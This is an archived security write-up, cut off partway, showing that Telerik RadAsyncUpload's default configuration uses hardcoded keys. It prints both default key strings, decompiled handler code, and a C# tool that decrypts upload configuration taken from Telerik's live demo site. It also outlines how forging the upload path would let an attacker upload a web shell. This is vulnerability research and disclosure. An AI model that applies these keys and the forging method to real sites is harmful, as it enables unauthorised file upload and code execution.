

The Danger of Using Telerik's RadAsyncUpload Default Configuration

The Danger of Using Telerik's RadAsyncUpload Default Configuration -

@straight_blast, GitHub.

- Published: date not stated
- Original: <<https://github.com/straightblast/UnRadAsyncUpload/wiki>>
- Preserved from: <https://github.com/straightblast/UnRadAsyncUpload/wiki> (stored) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

**** The Danger of [using](#) Telerik's RadAsyncUpload [Default](#) Configuration**

By: @straight_blast

Date: Feburary 01, 2017

Product URL: <http://www.telerik.com/products/aspnet-ajax/asyncupload.aspx>

The Telerik UI Suite is a popular choice of widgets used by ASP.NET developers to bring seamless user interaction to the web interface. One of the widget that comes with the ASP.NET AJAX UI collection is the RadAsyncUpload.

The RadAsyncUpload gives user a richer UI experience when uploading a file, without reloading the browser screen. The RadAsyncUpload has it own share of vulnerability in the the past with CVE 2014-2217 [1], which allowed arbitrary file upload.

Telerik remediated the issue by doing filename validation to ensure it doesn't contain characters such as "../". Furthermore, they enhanced the security of RadAsyncUpload by introducing a new setting in the web.config file as noted here:

- <http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security>

The new configuration introduced 'ConfigurationEncryptionKey' and 'ConfigurationHashKey' which is designed to ensure sensitive information are not readable or easily decodeable, and to enforce the integrity of sensitive content. So what happens if the developer do not

supply a custom encryption key? According to the documentation, a default encryption key will be used. Lets dig in and find out.

The following was observed when we peek in "AsyncUploadHandler" under "Telerik.Web.UI" within "Telerik.Web.UI.dll" (Ajax UI for ASP.NET AJAX R3 2016):

```
internal void EnsureSetup() {
    if (this.RequestData == null) {
        this.RequestData = new RequestData(this.Context);
    }
    if (this.FileAppender == null && this.ChunkUploadRequest) {
        this.FileAppender = new
ContentAppender(this.RequestData.UploadedFile.InputStream);
    }
    if (this.Configuration == null) {
        this.Configuration = this.GetConfiguration(this.Context.Request["rauPostData"]);
    }
    if (this.Configuration is AsyncUploadConfiguration) {
        AsyncUploadConfiguration asyncUploadConfiguration = this.Configuration as
AsyncUploadConfiguration;
        if (asyncUploadConfiguration != null) {
            this.AllowedFileExtensions = asyncUploadConfiguration.AllowedFileExtensions;
            if (asyncUploadConfiguration.UseApplicationPoolImpersonation) {
                HostingEnvironment.Impersonate();
            }
        }
    }
}
```

The above code indicates the rauPostData content is being passed to the GetConfiguration() method.

```

internal IAsyncUploadConfiguration GetConfiguration(string rawData) {
    string[] array = rawData.Split(new char[] {
        '&'
    });
    string obj = array[0];
    Type type = Type.GetType(CryptoService.GetService().Decrypt(array[1]));
    IAsyncUploadConfiguration asyncUploadConfiguration = (IAsyncUploadConfiguration)
    SerializationService.Deserialize(obj, type, true);
    asyncUploadConfiguration.TargetFolder =
    AsyncUploadHandler.DecryptFolder(asyncUploadConfiguration.TargetFolder);
    asyncUploadConfiguration.TempTargetFolder =
    AsyncUploadHandler.DecryptFolder(asyncUploadConfiguration.TempTargetFolder);
    return asyncUploadConfiguration;
}

```

The above code shows the TargetFolder and TempTargetFolder gets Decrypted by the DecryptFolder() method.

The DecryptFolder:

```

protected static string DecryptFolder(string rawData) {
    return CryptoService.GetService().Decrypt(rawData);
}

```

which calls CryptoService.GetService.Decrypt:

```

public string Decrypt(string encryptedString) {
    string encryptionKey = this.GetEncryptionKey();
    return CryptoService.Decrypt(encryptedString, encryptionKey);
}

```

which calls this.GetEncryptionKey() to get the hardcoded crypto key:

```

private string GetEncryptionKey() {
    string text =
    ConfigurationManager.AppSettings.Get(CryptoService.customEncryptionKey);
    if (text != null) {
        return text;
    }
    return CryptoService.defaultEncryptionKey;
}

private static readonly string defaultEncryptionKey =
    "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration";

```

and calls `CryptoService.Decrypt()` which sets up the salt and password derived bytes:

```

internal static string Decrypt(string encryptedString, encryptionKey) {
    byte[] encryptedBytes = Convert.FromBase64String(encryptedString);
    byte[] rgbSalt = new byte[] {
        58,
        84,
        91,
        25,
        10,
        34,
        29,
        68,
        60,
        88,
        44,
        51,
        1
    };
    PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(encryptionKey,
    rgbSalt);
    byte[] bytes = Decrypt(encryptedBytes, passwordDeriveBytes.GetBytes(32),
    passwordDeriveBytes.GetBytes(16));
    return Encoding.Unicode.GetString(bytes);
}

```

and calls the actual `Decrypt()`

```

private static byte[] Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) {
    MemoryStream memoryStream = new MemoryStream();
    CryptoStream cryptoStream = new CryptoStream(memoryStream, new
AesCryptoServiceProvider {
        Key = key,
        IV = iv
    }.CreateDecryptor(), CryptoStreamMode.Write);
    cryptoStream.Write(encryptedBytes, 0, encryptedBytes.Length);
    cryptoStream.Close();
    return memoryStream.ToArray();
}

```

So with the above code, we learn what they default encryption key is, along with the salt that is used.

With Ajax UI for ASP.NET AJAX R1 2017, we see the following code introduced:

There is a InvalidHMac call within the following code:

```

internal IAsyncUploadConfiguration GetConfiguration(string rawData) {
    string[] array = rawData.Split(new char[] {
        '&'
    });
    string obj = array[0];
    Type type = Type.GetType(CryptoService.GetService().Decrypt(array[1]));
    IAsyncUploadConfiguration asyncUploadConfiguration = (IAsyncUploadConfiguration)
SerializationService.Deserialize(obj, type, true);
    if (!this.IsValidHMac(asyncUploadConfiguration.TargetFolder) ||
!this.IsValidHMac(asyncUploadConfiguration.TempTargetFolder)) {
        throw new CryptographicException("The hash is not valid!");
    }
    asyncUploadConfiguration.TargetFolder =
AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TargetFol
der));
    asyncUploadConfiguration.TempTargetFolder =
AsyncUploadHandler.DecryptFolder(this.GetEncryptedText(asyncUploadConfiguration.TempTarge
tFolder));
    return asyncUploadConfiguration;
}

```

which calls IsValidHMac:

```
internal bool IsValidHMac(string input) {
    return HashService.GetService().Hash256(this.GetEncryptedText(input)) ==
    this.GetHash(input);
}
```

which calls GetHash, to extract the HMAC content from the rauPostData:

```
internal string GetHash(string input) {
    return input.Substring(input.Length - HashService.GetService().GetHashLength());
}
```

and calls GetEncryptedText, which extract the encrypted 'TempTargetFolder' or 'TargetFolder' from rauPostData:

```
internal string GetEncryptedText(string input) {
    return input.Substring(0, input.Length - HashService.GetService().GetHashLength());
}
```

The HashService.GetService().Hash256 leads to:

```
public string Hash256(string input) {
    byte[] bytes = Encoding.UTF8.GetBytes(this.GetHashKey());
    string result;
    using(HMACSHA256 hMACSHA = new HMACSHA256(bytes)) {
        byte[] bytes2 = Encoding.UTF8.GetBytes(input);
        byte[] inArray = hMACSHA.ComputeHash(bytes2);
        result = Convert.ToBase64String(inArray);
    }
    return result;
}
```

Which calls GetHashKey:

```
private string GetHashKey() {
    string text = ConfigurationManager.AppSettings.Get(HashService.customHashKey);
    if (text != null) {
        return text;
    }
    return HashService.defaultHashKey;
}
```

Which eventually gets the defaultHashKey under default configuration:

```
private static readonly string defaultHashKey = "PrivateKeyForHashOfUploadConfiguration";
```

So we learn that the hash function also used a default hash key if no custom hash key is supplied in the web.config

Lets take our understanding and apply it to the Telerik's demo site to see if they're using default configuration key:

<http://demos.telerik.com/aspnet-ajax/asyncupload/examples/overview/defaultcs.aspx>

REQUEST on 1/27/2017:

POST /aspnet-ajax/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: demos.telerik.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demos.telerik.com/aspnet-ajax/asyncupload/examples/overview/defaultcs.aspx
Cache-Control: no-cache
Content-Length: 6399
Content-Type: multipart/form-data; boundary=-----130042195822073
Cookie: optimizelyEndUserId=oeu1483682146949r0.10816133305658793;
optimizelySegments=%7B%222325621325%22%3A%22search%22%2C%222335711366%22%3A%22ff%22%2C%22372151524%22%3A%22none%22%2C%222375811128%22%3A%22false%22%2C%2223594172690%22%3A%22RCAJAX%22%7D; optimizelyBuckets=%7B%228096290147%22%3A%228089120155%22%7D; gauuid=2a23da7c-77f9-462d-9555-d3381969f7f4; _ga=GA1.2.524847277.1483682149; _ga=GA1.3.524847277.1483682149; ki_t=1483682224361%3B1485586373810%3B1485586373810%3B7%3B18; ki_r=http%3A%2F%2Fwww.telerik.com%2Fproducts%2Faspnet-ajax%2Fasyncupload.aspx; __eqtUser=1b77b868-b55e-4c27-b651-691fdb7b5ae8.6; sf-data-intell-subject=0c36a228-73fa-47a4-afd2-aa9e10fa956a; _bizo_bzid=310dfa55-d3b6-4c23-b40c-9cd1eb9b2a35; _bizo_cksm=6C655A80EAAEA04A; _bizo_np_stats=155%3D4371%2C; session_referrer=; optimizelyPendingLogEvents=%5B%5D; _dc_gtm_UA-111455-1=1; _dc_gtm_UA-111455-21=1; _gat_UA-111455-1=1; ASP.NET_SessionId=k2rcvhikeinjo2ytqlbybcdw; amazonImageLoaded=true; __eqtSession=6ed330ea-d924-4bce-9de2-4ae3bea32f46.1485586365318; sc.ASP.NET_SESSIONID=ghngqym5fnbpfxxjnffy4x5r; sc.Status=4; _gali=ctl00_ContentPlaceholder1_AsyncUpload1file0
Connection: close

-----130042195822073
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViNFY06kst0jC1lwM/liqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4q0YjPBjs81Y3dAZAdtIqlZZ5Y1iiwYvro4Ee7sUhk8+UPrRkt1sHK82rpy7A2yj5eJtI8RVpt8wy25bsZYrt9DwMZL3X7M9H5i28nbi3Um2ezqm907PTUwu8ayp/N0IA51Lmxn6WUlbSgGQLrckmdAigfDulIMkNCyZh8Jq+XmP9mu0J/U2gdCjkgrrzmgywLrwSep+BJe+hpKesG0MpaYbnaFmzxpKefL6EGx41TqjCKQWEv8qFgHYo9isPRdeaPuYTRjx71YXcpLZ446X90Q+aJ7LUZA217qhktN8+OVHwchJqTj3CgfFvfiWDtiehUywMaE/qLpZs/JspEU80xbBkxpRN/ARdlEgg9zv+hxkCB7xEld4THWip0PiWXetkKUYW1bggsVxo+sCHdaIjCbvYfYa+tcBGOA/0deetrHF7efMMHtHPjs/IclQ96dLMuffnLQSiuyPyjn/zz2lb/SEdvMEj103iCa0qq1uRdEU18TUVL25zksX+FI628/bBGnSCES36yc9VBdq2WK8KE2MEKJAC31urG+hLix40N4rDsPXgT2mpjH3FsR44iVfeLNPDHZNxvtRUv0B8Bv+84RaZr7RLXZJvc00qkK0WaYFoNdd3njbuzTs01V0pS5d1KrbJt8jBUmoo0JM1iQYvqeGGnoLWX9dwVx3UCIOGVZpImLEZHBNHJ4mvauFtnbTQC60+6xITFfzHlv0hCpk46rFGIc78wTFMpvaXYxjHY/fYDe80PRR558GSAX+3K12WjumunvT3NXvQTWkPVUB7dy9pLNQnUNfeVtN6teXnLp3fHhvbBIyuxEkqH8PPSZmdXzWkiMvI0jQNz7Zzx3Y4imkqSj71FrmG7chHxbB6rVcelP5bPQBUNzNiMLu8dmAQW3YXQqdmv6rWVTsJSscwvD0HBASc1cQASquki1nPvmpNYEiWk2kYldxVz+DKG6BbnN+f4UZRpWZ3EhelTjYLx504KZHVYKS0Hzjgyd0zPlhiazTtsmUTkINy4WYLiDwXaellUmUYPT9KF6iYFN0BJNXGPXBzW0G24pXhqnhh9U

io9b5gx60/JD740Hxf6gFeVw1Jt8SSHh0EcJQrBAFlm7SC2icVWQsSee0VhdKr+6H/KFWczHrXSw6+70HLJExr37
G0F+zRzuVxABpLXLqAe5ppb9iNR/m51IJ2RXlUqgBAAg3ZQj7507hLtsm+X/7a6QI7rY5kHXTA0emQ4W33J24JTAC
Pi4LGLtVIXhvAPMJ46lsM0QN5QtZe0kjWvKt14CvcVHcVceHbuhUmpB0sqSvs9aLL0eB/ya0iBjWdqmmHKXsFt1W0
s40tlulfb6hS9/+HT0kKbLdpcvsNsl3DBGleXYI2tn2GykIHUqkbugbypmpEvGyeIjkSKg4lrYtZczMz2uN5x97+v
AofYxa0ihnMvWNDkgq6H7D+7RuxybEKMRdBa0N9H0AMYCqxvb9QBBa8FI70w/UmuyWA+p2ecvDBe62+YAJ76WTNI
NiUctQKJ8qSP0xdfG1fvitUBeIsK7Ig5YVjUTi+HDIRzJw7z9m0a2AhJU0Dg+RmZhmLxYJpmD0Ttcolzd5kn19r3V
ehYAIXDLJxjlYAEsRl4jl15b0qWixpgCLvDSsqqgIwmDLiHnidsYXoLL2ybkSU0z/w3juv2UJ8Y2juCBTKoNT2BLf
1RdFn1GvMNzw&6R/cGaqQeHVAzdJ9wTF0yCsrmSTtqcjLe8AHwiPckPDUwecNjYnlkDYwDQpxGYQ9hs6YxhupK310
sbCbtXB4H6Dz5rGNL40nkkyo4j2clmRr08jtFsPQ0RpE5BGsulPT3l0MxyAvPFMs8bMybUyAP+9RB9LoHE3Xo8BqD
adX3HTf8yLcNRKf53Gv7pEAGDq+SvUGxCH9nLVlBQo9HY8LQ9oTlPQld6Fmd4f8mGAeDpfScpFEotqdEsEDUo5E3l
MpnTqVWzNrZVqTtNZG0dz3cjRtyN2ZFdTDFpD9biHuPB0YqUQTXEnADXul74LDGhYTn9+/ugniKxAZqlCL817+TgH
lRXXxXt+UsUnEUuS27xc=

-----130042195822073

Content-Disposition: form-data; name="file"; filename="blob"

Content-Type: application/octet-stream

blahblahblah

-----130042195822073

Content-Disposition: form-data; name="fileName"

blah.jpg

-----130042195822073

Content-Disposition: form-data; name="contentType"

image/jpeg

-----130042195822073

Content-Disposition: form-data; name="lastModifiedDate"

2017-01-06T20:05:50.365Z

-----130042195822073

Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":3375,"UploadID":"1485586382043blah.jpg","
IsSingleChunkUpload":false}

-----130042195822073--

Using the following code:

```

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
using System.Text;
using System.IO;

namespace UnRadAsyncUpload {
    public class Program {
        static string password = "PrivateKeyForEncryptionOfRadAsyncUploadConfiguration";
        static string hashkey = "PrivateKeyForHashOfUploadConfiguration";

        public static void Main(string[] args) {
            //rauPostData encrypted base64 content
            string ciphertext1 =
"ATTu5i4R+ViNFY06kst0jC1lwM/liqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4q
0YjPBjs81Y3dAZAdtIqlZZ5Y1iiwYvro4Ee7sUhk8+UPrRkt1sHK82rpy7A2yj5eJtI8RVpt8wy25bsZYrt9DwMZL
3X7M9H5i28nbi3Um2ezqm907PTUwu8ayp/N0IA51Lmxn6WULbsgQLrckmdAigfDu1MkNCyZh8Jq+XmP9mu0J/U2
gdCjkgrrzmgywLrwSep+BJe+hpKesG0MpaYbnaFmzxpKefL6EGx41TqjCKQWEv8qFgHYo9isPRdeaPuYTRjx71YXc
pLZ446X90Q+aJ7LUZA217qhktN8+OVHwchJqTj3CgfFvfiWDtiehUywMaE/qLpZs/JspEU80xbBkxpRN/ARdlEgg9
zv+hxkCB7xE1d4THWip0PiWxetkKUYWlbggsVxo+sCHdaIjCbvYfYa+tcB0A/0deetrHF7efMMHtHPjs/IclQ96d
LMuffNlQSiuyPyjn/zz2lb/SEdvMEj103iCa0qq1uRdEU18TUVL25zksX+FI628/bBGnSCES36yc9VBdq2WK8KE2M
EKJAC31urG+hLIx40N4rDsPXGT2mpjH3FsR44iVfeLNPDDHZNxvtRUv0B8Bv+84RaZr7RLXZJvc00qkK0WaYFoNDd
3njbuzTs01V0pS5d1KrbJt8jbUMeoo0JM1iQYvqeGGnoLWX9dwVx3UCI0GVZpImLEZHBHJ4mvauFtnbTQC60+6xI
TFfzHlv0hCpk46rFGIc78wTFMpvaXYxjHY/fYDe80PRr558GSAX+3K12WjumunvT3NXvQTWkPVUB7dy9pLNQnUNfe
VtN6teXnLp3fHhvbBIyuxEkqH8PPSZmdXzWkiMvI0jQNz7Zzx3Y4imkqSj71FrmG7chHbxB6rVceLp5bPQBUNzNiM
lu8dmAQW3YXQqdmv6rWVTsJSscwvD0HBASc1cQASquki1nPvmpNYEiWk2kYldxVz+DKg6BbnN+f4UZRpWZ3EhelT
jYLx504KZHVYKS0Hzjgyd0zPlhiazTtsmUTkINy4WYLiDwXaelUumUYPTP9KF6iYFN0BJNXGPXBzW0G24pXhqnhh9
Uio9b5gx60/JD740Hxf6gFeVw1Jt8SSHh0EcJQRBAFLm7SC2icVWQsSee0VhdKr+6H/KFWczHrXSw6+70HLJExr3
7G0F+zRzuVxABpLXLqAe5ppb9iNR/m51IJ2RXlUqgBAAG3ZQj7507hLtsm+X/7a6QI7rY5kHXTA0emQ4W33J24JTA
CPi4LGLtVIXhvAPMJ46lsM0QN5QtZe0kjWvKt14CvcVhCvceHbuhUmpB0sqSvs9aLL0eB/ya0iBjWdqmmHKXsFt1W
0s40tlulfb6hS9/+HTOKbLdpcvsNsl3DBGLeXYI2tn2GykIHUqkbugbypmpEvGyeIjksKg4lrYtZczMz2uN5x97+
vAofYxa0ihnMvWNDkgq6H7D+7RuxybEKMRdBa0N9H0AMYCqxvb9QBBa8FI70w/UmuYWA+p2ecvDBe62+YAJ76WTN
INiUctQKJ8qSP0xdfG1fvitUBe1sK7Ig5YVjUTi+HDIRzJw7z9m0a2AhJU0Dg+RmZhmLxYJpmD0Ttcolzd5knl9r3
VehYAIIDLJxjLYAEsRl4j1l5b0qWixpgCLvDSsqgIwmDLiHnidsYXoLL2ybksU0z/w3juv2UJ8Y2juCBTKoNT2BL
f1RdFn1GvMNzw";

            string deciphertext1 = Decrypt(ciphertext1);
            Console.WriteLine(deciphertext1);

            //TempTargetFolder encrypted base64 content
            string ciphertext2 =
"ecezCbP57CTP2SSTlyYmGie9KuqCdQr/zpE5depE17650SPaTvXHwM5uc3b+ToGhJ6QXl6k0qMwiDbUS1E/2t2yy
dpqi3l5ep8bX6KRQb1WS/kof5i6p8G3YS189cKFkXrF0be+/ubm8bA68oKVByaMJm1jfkHBj54IMyKp2Nec=";

```

```

        string decipherText2 = Decrypt(cipherText2);
        Console.WriteLine(decipherText2);

        string hmac = Hash256(cipherText2);
        Console.WriteLine(hmac);
    }

    internal static string Decrypt(string encryptedString) {
        byte[] encryptedBytes = Convert.FromBase64String(encryptedString);
        byte[] rgbSalt = new byte[] {
            58,
            84,
            91,
            25,
            10,
            34,
            29,
            68,
            60,
            88,
            44,
            51,
            1
        };
        PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(password,
rgbSalt);
        byte[] bytes = Decrypt(encryptedBytes, passwordDeriveBytes.GetBytes(32),
passwordDeriveBytes.GetBytes(16));
        return Encoding.Unicode.GetString(bytes);
    }

    private static byte[] Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) {
        MemoryStream memoryStream = new MemoryStream();
        CryptoStream cryptoStream = new CryptoStream(memoryStream, new
AesCryptoServiceProvider {
            Key = key,
            IV = iv
        }.CreateDecryptor(), CryptoStreamMode.Write);
        cryptoStream.Write(encryptedBytes, 0, encryptedBytes.Length);
        cryptoStream.Close();
        return memoryStream.ToArray();
    }

    private static string Hash256(string input) {

```

```

        byte[] bytes = Encoding.UTF8.GetBytes(hashkey);
        string result;
        using(HMACSHA256 hMACSHA = new HMACSHA256(bytes)) {
            byte[] bytes2 = Encoding.UTF8.GetBytes(input);
            byte[] inArray = hMACSHA.ComputeHash(bytes2);
            result = Convert.ToBase64String(inArray);
        }
        return result;
    }
}

```

We get the following results:

```

{"TargetFolder":"jgas0meSrU/uP/TPzrhDTw==Au0L0aX6ddH0qJL5T8IwoKpc0rwIVPUB/dtjhNpis+s=","TempTargetFolder":"ecezCbpS7CTP2SST1yYmGie9KuqCdQr/zpE5depE17650SPaTvXHwM5uc3b+ToGhJ6QXl6k0qMwiDbUS1E/2t2yydpqi3l5ep8bX6KRQb1WS/kof5i6p8G3YS189cKFkXrF0be+/ubm8bA68oKVByaMJm1j fKHBj54IMyKp2Nec=ASDexZowwGPKJR25ppZ/kUsflq7gdZDCUT4ToYpgRq0=","MaxFileSize":0,"TimeToLive":{"Hours":4,"Minutes":0,"Seconds":0,"Milliseconds":0,"Ticks":144000000000,"Days":0,"TotalDays":0.16666666666666666,"TotalHours":4,"TotalMilliseconds":14400000,"TotalMinutes":240,"TotalSeconds":14400},"UseApplicationPoolImpersonation":false,"AllowedFileExtensions":[".jpeg",".jpg",".png",".doc",".docx",".xls",".xlsx"]}

C:\Telerik\WebSites\aspnet-ajax\Main\App_Data\RadUploadTemp

ASDexZowwGPKJR25ppZ/kUsflq7gdZDCUT4ToYpgRq0=

```

So it appears Telerik's demo site is using default configuration, as the content of 'rauPostData' was decrypted. We learned about the location of where files are temporary uploaded to. Also we got the identical integrity value which further validates the correctness of the path.

So now the question we want to ask is:

= What is the risk?

- Internal path information can be disclosed, which could assist in formulating further attacks.

= What is the magnitude of live applications that use default configuration for RadAsyncUpload?

- I was able to identify at least 101 websites that are publicly accessible with RadAsyncUpload using default configuration. It is likely there are more sites out there that were not identified, and sites with protected pages that use the RadAsyncUpload with default configuration.

So the issue is not severe, let's all move on to more meaningful things ... not so fast.

Before we move forward, let's layout what we understand are in the content of the POST request.

When a user uploads a file through the RadAsyncUpload module, it makes a POST based request to the following relative path:

- /Telerik.Web.UI.WebResource.axd?type=rau

With the following POST body as multipart/form-data:

- rauPostData (encrypted base64 content)
- blob (content of the file that is being uploaded)
- fileName (name of the file that is being uploaded)
- contentType (mime type of the file that is being uploaded)
- lastModifiedDate (a date)
- metadata (a JSON object that contains file size and temporary file name 'UploadID' for the uploaded file)

The rauPostData content is an encrypted base64 encoded JSON object. Inside the object, it has parameters that specify the temp folder directory 'TempTargetFolder' and folder directory 'TargetFolder' of where the uploaded file should be put at.

When we look into the code that handles the file upload, we observe the following:

```

internal void HandleChunkUploadRequest(string serializedMetaData) {
    ChunkMetaData chunkMetaData = (ChunkMetaData)
SerializationService.Deserialize(serializedMetaData, typeof(ChunkMetaData));
    if (AsyncUploadHandler.CheckFileNameForInvalidChars(chunkMetaData.UploadID)) {
        throw new Exception("The uploaded file name contains invalid characters!");
    }
    this.RequestData.UploadedFile.FileName =
this.ChangeOriginalFileName(this.RequestData.UploadedFile.FileName);
    if
(this.CheckOriginalFileNameForInvalidChars(this.RequestData.UploadedFile.GetName())) {
        throw new Exception("The uploaded file name contains invalid characters!");
    }
    if (chunkMetaData.IsSingleChunkUpload) {
        this.RequestData.UploadedFile = new
AsyncPostedFile(this.RequestData.UploadedFile, this.FullPath,
this.RequestData.UploadedFile.ContentLength, false);
        (this.RequestData.UploadedFile as
AsyncPostedFile).NormalizeWith(this.RequestData.FormValues);
        this.ProcessUploadedFile();
        return;
    }
    if (!this.ValidateSize(chunkMetaData.TotalFileSize, this.Configuration.MaxFileSize))
{
        return;
    }
    if (!this.IsFileSizeValid(Convert.ToInt64(chunkMetaData.TotalFileSize),
this.Configuration.MaxFileSize)) {
        this.ResponseWriter.WriteToResponse("{ \"invalidFileSize\" : true }");
        return;
    }
    bool flag = chunkMetaData.ChunkIndex == --chunkMetaData.TotalChunks;
    bool flag2 = chunkMetaData.ChunkIndex == 0;
    this.TemporaryFileName = chunkMetaData.UploadID;
    this.FileAppender.AppendTo(this.FullPath);
    if (flag) {
        this.RequestData.UploadedFile = new
AsyncPostedFile(this.RequestData.UploadedFile, this.FullPath,
this.FileAppender.AppendedContentLength, true);
        (this.RequestData.UploadedFile as
AsyncPostedFile).NormalizeWith(this.RequestData.FormValues);
        this.ProcessUploadedFile();
        return;
    }
    if (flag2) {

```

```
        this.AddCacheDependency(this.Context, chunkMetaData.UploadID,
this.Configuration.TimeToLive, this.FullPath);
    }
    this.ResponseWriter.WriteToResponse("next");
}
```

There are checks in the above code to prevent the UploadID and the actual fileName from having invalid characters, such as "../".The control is to remediate CVE - 2014 - 2217. However, there is no check to prevent the UploadID from having file arbitrary extension.

Tracing through "this.FullPath":

```
public string FullPath {
    get {
        return Path.Combine(this.TemporaryFolder, this.TemporaryFileName);
    }
}
```

then to this.ProcessUploadedFile:

```

private void ProcessUploadedFile() {
    if (!this.ValidateSize(this.RequestData.UploadedFile.ContentLength,
this.Configuration.MaxFileSize)) {
        return;
    }
    this.RequestData.UploadedFile.FileName =
this.ChangeOriginalFileName(this.RequestData.UploadedFile.FileName);
    if (!this.ValidateFileExtension(this.RequestData.UploadedFile.GetExtension())) {
        return;
    }
    if (AsyncUploadHandler.CheckFileNameForInvalidChars(this.TemporaryFileName)) {
        throw new Exception("The uploaded file name contains invalid characters!");
    }
    if
(this.CheckOriginalFileNameForInvalidChars(this.RequestData.UploadedFile.GetName())) {
        throw new Exception("The uploaded file name contains invalid characters!");
    }
    IAsyncUploadResult asyncUploadResult = this.Process(this.RequestData.UploadedFile,
this.Context, this.Configuration, this.TemporaryFileName);
    Metadata metaData = new Metadata {
        TempFileName = this.TemporaryFileName,
        AsyncUploadTypeName = asyncUploadResult.GetType().AssemblyQualifiedName
    };
    this.ResponseWriter.WriteToResponse(this.SerializeClientObject(asyncUploadResult,
metaData));
}

```

Again, the above code only check the TemporaryFileName for invalid characters, but not for its file extension.

Tracing through this.Process:

```

protected internal virtual IAsyncUploadResult Process(UploadedFile file, HttpContext
context, IAsyncUploadConfiguration configuration, string tempFileName) {
    this.SaveToTempFolder(file, configuration, context, tempFileName);
    return this.CreateDefaultUploadResult<UploadedFileInfo>(file);
}

```

then to this.SaveToTempFolder:


```
protected void SaveToTempFolder(UploadedFile file, IAsyncUploadConfiguration config,
HttpContext context, string tempFileName) {
    this.AddCacheDependency(context, tempFileName, config.TimeToLive, this.FullPath);
    file.SaveAs(this.FullPath, false);
}
```

and to this.SaveAs:

```
public void SaveAs(string fileName) {
    this.SaveAs(fileName, true);
}
```

The above code are pretty self-explanatory.

So what we learned from the code is that the 'TempTargetFolder' comes directly from the 'rauPostData', which we already proof we can decipher. It doesn't take a genius to reverse the process and introduce arbitrary path if the module is using default configuration.

Furthermore, the 'UploadID' does not have file extension validation, so it accepts arbitrary file extension. It looks like we can combine the two issues to upload arbitrary file to arbitrary path. One of the most exciting thing is to get a shell, and this definately looks like we can upload a web shell and get it executed.

Lets test it by running the trial version of the Ajax UI.

The original POST request is as follows:

POST /TelerikUI_for_AspNetAjax/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: localhost:8301
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer:
http://localhost:8301/TelerikUI_for_AspNetAjax/asyncupload/examples/overview/defaultcs.aspx
Cache-Control: no-cache
Content-Length: 6628
Content-Type: multipart/form-data; boundary=-----32094154981945
Cookie: _ga=GA1.1.83688596.1483773012; ASP.NET_SessionId=dl4etbd0on2vzclsdbeqjyqh;
_dc_gtm_UA-111455-21=1; _gat_UA-111455-1=1
Connection: close

-----32094154981945
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViNFY06kst0jC1lwM/liqH+W/isjhaDjNuCI7eJ/BY5d1E9eqZK27CJCMuon9u8/hgRIM/cTlgLlv4q0
YjPBjs81Y3dAZAdtIqlZZ5Y1iiwYvro4Ee7sUhk8+UPrRkt1sHK82rpy7A2yj5eJtI8RVpt8wy25bsZYrt9DwMZL3
X7M9H5i28nbi3Um2ezqm907PTUwu8ayp/N0IA51Lmxn6WUlbsgGQLrckmdAigfDul1MkNCyZh8Jq+XmP9mu0J/U2g
dCjkgrrzmngxq2SLcvthpss/zsHahb0QyXs8iRXvij+WjRYXYFVPV22ivCq83jL3RY8KQkMFOXFuWVjx7EvigUDW/C
Jal8s8Lt749cKVzvCa05UmeCDKkvRac46QbdTVLuzAgMQthzspFuKElZSrV4UobmUbyU4fXS8beHoRHoWsK0x9lvY
YdB+gLlNrKsREIVBPRNlaeCgCKKAH6sF9JhM5UEMcyh7QGajfjhpMJR5Ak4I7NqvIt716QmLyzFI8wNsXeSdnsN
rg4fC0TmmqqccAxvyIXAvCGX0ywgT0rb8FfyMfWmZihBeUaNZqL0Q1xT3VsCqLADpMCvpI2wCCYKpbxXpbdyv0dUV
9LlWxsC6lzIY55Zc3kbJflyHI0KKlieRAjiakIcupl7frzVF54BhrYg84u4lowadeg5PpJpLU0MQmGSsIq4z0iJAI
mtk4vQrtbML0HY2JDnYnkWnDJ7DeJ7Rs07a+5y5hs2SYITPD00Tp6QpMRY/mDFitzwkpVlq4sn251sXl7PmuXDuIu
pukP6Bv7TwfWaQ7J9J9Ush2SSx1le7beWg3oV4JWFDDSZwiu0T+jJMFpikkFxsjffSFn3uFZxyggu+aI1HjEheyqlj
kb8XJuxT5yG8Ts7GelmszLkHkRPF4VUAeaRxVCw3aLret/cPROac2msjlq7NrRX5wQe9IZ5psIHY087wHPQnARxZ
hknw6per/VELCplg+sY3NfZhd7zpxIzpsM65A7XF7r6S2st7F40BULLRJ0qTAt3GlaqPwmrpI5XaI9Q+ndxhBXZS/
CX81KkD1LiSBXcyHh0n+dxarX9WYH74R+UTN1nUnUNX91IPalZtDgosPJT32KoEnt1L0EzpJoE9yPoZb4x2+IzIBL
aYuuSGfFHyDKjYIQIsSLPW8T0v7MDiktKzZESjJ/3FVotoYzjk/dm91l0h/w7xNFzIbAYKF8mE0hNt/9WKujE/8qp
